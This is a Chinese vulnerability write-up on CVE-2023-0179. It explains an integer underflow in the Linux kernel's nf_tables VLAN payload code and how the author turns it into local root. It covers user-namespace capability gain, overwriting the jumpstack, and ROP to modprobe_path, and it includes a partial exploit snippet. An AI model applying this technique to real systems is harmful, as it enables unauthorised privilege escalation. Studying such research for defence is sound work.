0x00 前言
2022年7月为天府杯准备的Linux提权漏洞,但是22年天府杯没办,23年1月被外国人报了。
思路来源于这篇文章,在看到这篇文章后决定去好好过一下netfilter相关模块。
文章链接:How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables。
0x01 背景
该漏洞位于Linux内核中netfilter模块对vlan进行处理的相关代码中,由于整型溢出导致的栈溢出,最后是ROP修改modprobe_path路径完成提权,在Ubuntu下测试可以稳定触发,提权成功率百分之百。
0x02 漏洞成因,加还是减
下面是漏洞代码,处理vlan相关的部分代码。
/* add vlan header into the user buffer for if tag was removed by offloads */
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
int mac_off = skb_mac_header(skb) - skb->data;
u8 *vlanh, *dst_u8 = (u8 *) d;
struct vlan_ethhdr veth;
u8 vlan_hlen = 0;
if ((skb->protocol == htons(ETH_P_8021AD) ||
skb->protocol == htons(ETH_P_8021Q)) &&
offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
vlan_hlen += VLAN_HLEN;
vlanh = (u8 *) &veth;
if (offset < VLAN_ETH_HLEN + vlan_hlen) {
u8 ethlen = len;
if (vlan_hlen &&
skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
return false;
else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
return false;
if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);
len -= ethlen;
if (len == 0)
return true;
dst_u8 += ethlen;
offset = ETH_HLEN + vlan_hlen;
} else {
offset -= VLAN_HLEN + vlan_hlen;
}
return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}
这一段代码好像有点问题?整数溢出!!!
if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
在判断if (offset + len > VLAN_ETH_HLEN + vlan_hlen)后,应该用offset + len减去VLAN_ETH_HLEN + vlan_hlen,很明显代码中少了括号运算,修复补丁也是简单的将+改为-。
offset + len - (VLAN_ETH_HLEN + vlan_hlen)
=>
offset + len - VLAN_ETH_HLEN - vlan_hlen
栈溢出!!!
memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);
dst_u8(rdi)指向上层调用函数的regs栈上变量,vlanh(rsi)指向veth栈上变量,ethlen(rcx << 3)在整数溢出后会变为一个较大值。
0x03 漏洞利用
条件一:需要CAP_NET_ADMIN权限
static void nfnetlink_rcv(struct sk_buff *skb)
{
struct nlmsghdr *nlh = nlmsg_hdr(skb);
if (skb->len < NLMSG_HDRLEN ||
nlh->nlmsg_len < NLMSG_HDRLEN ||
skb->len < nlh->nlmsg_len)
return;
if (!netlink_net_capable(skb, CAP_NET_ADMIN)) {
netlink_ack(skb, nlh, -EPERM, NULL);
return;
}
if (nlh->nlmsg_type == NFNL_MSG_BATCH_BEGIN)
nfnetlink_rcv_skb_batch(skb, nlh);
else
netlink_rcv_skb(skb, nfnetlink_rcv_msg);
}
bool netlink_net_capable(const struct sk_buff *skb, int cap)
{
return netlink_ns_capable(skb, sock_net(skb->sk)->user_ns, cap);
}
命令空间
Linux下默认的根命令空间是init_user_ns,如果CONFIG_USER_NS和CONFIG_NET_NS配置选项开启,用户便可以创建自己的命令空间,并且在该用户命令空间中获得所有权限。所以可以通过创建新的命令空间以满足上述CAP_NET_ADMIN权限检查。
条件二:溢出的长度不足
ethlen的类型是u8,那么最大值为0xff,很明显不足以覆盖返回地址,regs变量后跟着nft_jumpstack结构体数组,长度为16,大小为256字节。
#define NFT_JUMP_STACK_SIZE 16
struct nft_jumpstack {
const struct nft_chain *chain;
struct nft_rule *const *rules;
};
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
......
ida反汇编结果
__int64 __fastcall nft_do_chain(
__int64 *a1,
struct nft_regs *a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
char a7,
int a8,
__int16 a9)
{
......
struct nft_regs regs; // [rsp+60h] [rbp-190h] BYREF
struct nft_jumpstack v51[16]; // [rsp+B0h] [rbp-140h] BYREF
unsigned __int64 canary; // [rsp+1B8h] [rbp-38h]
__int64 v53; // [rsp+1C0h] [rbp-30h]
__int64 v54; // [rsp+1C8h] [rbp-28h]
__int64 v55; // [rsp+1D0h] [rbp-20h]
__int64 v56; // [rsp+1D8h] [rbp-18h]
__int64 v57; // [rsp+1E0h] [rbp-10h]
__int64 v58; // [rsp+1E8h] [rbp-8h]
通过利用改写nft_jumpstack结构体,扩大越界读写范围。
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, ®s.verdict, basechain);
do_chain:
if (genbit)
rules = rcu_dereference(chain->rules_gen_1);
else
rules = rcu_dereference(chain->rules_gen_0);
next_rule:
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
rule = *rules;
nft_rule_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
break;
}
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
return regs.verdict.code;
}
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RETURN);
break;
default:
WARN_ON(1);
}
if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rules = jumpstack[stackptr].rules;
goto next_rule;
}
通过增加多个verdict.code为NFT_JUMP的规则,在规则执行后就会填充jumpstack数组,并在最后一个规则触发越界写,修改jumpstack数组,控制其中的rules指针,后续覆盖返回地址,做ROP即可。
struct unft_base_chain_param bp;
bp.hook_num = NF_INET_PRE_ROUTING;
bp.prio = 10;
for (int i = 0; i < exp_chain_num; i++)
{
sprintf(exp_chain_name, "%s%d", "exp_chain", i);
void *p = NULL;
if (!i)
p = &bp;
if (create_chain(nl, table_name, exp_chain_name, NFPROTO_BRIDGE, p, &seq, NULL))
{
perror("Failed creating exp chain");
exit(EXIT_FAILURE);
}
}
for (int i = 0; i < exp_chain_num; i++)
{
sprintf(exp_chain_name, "%s%d", "exp_chain", i);
sprintf(exp_chain_name_next, "%s%d", "exp_chain", i+1);
struct nftnl_rule* r = build_rule(table_name, exp_chain_name, NFPROTO_BRIDGE, NULL);
if (!i){
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 0x16, 0x40, 1, 0);
char *cmp_str = MAGIC;
rule_add_cmp(r, NFT_CMP_EQ, 1, cmp_str, 6);
uint64_t stack_value = (stack << 16) | 0xffff;
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 20, 0x40, 1, 0);
rule_add_cmp(r, NFT_CMP_EQ, 12, &stack_value, 8);
}
if (i == exp_chain_num - 1)
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 20, 0x40, 1, 0); // trigger
else
rule_add_immediate_verdict(r, NFT_JUMP, exp_chain_name_next);
err = send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, NFPROTO_BRIDGE, (void**)&r, &seq,
NULL
);
if (err) {
puts(CLR_RED "[-] Set exp chain rule failed" CLR_RESET);
perror("");
exit(EXIT_FAILURE);
}
}
条件三:触发漏洞时内核上下文不确定
在recv接收数据时触发漏洞,所以不确定是在哪一个内核上下文中,栈溢出后也不能直接返回用户态。
不过多破坏栈上数据,在有限的栈空间内修改modprobe_path(在运行非ELF格式的二进制时,会以root权限调用该脚本)指向我们可控的脚本,最后调整rsp为上一层未破坏的栈帧,正常返回。
0x04 总结
netfilter子系统是一个相当复杂的系统,借助此文介绍了CVE-2023-0179的漏洞成因和漏洞利用过程中的一些注意点,希望能起到抛砖引玉的效果。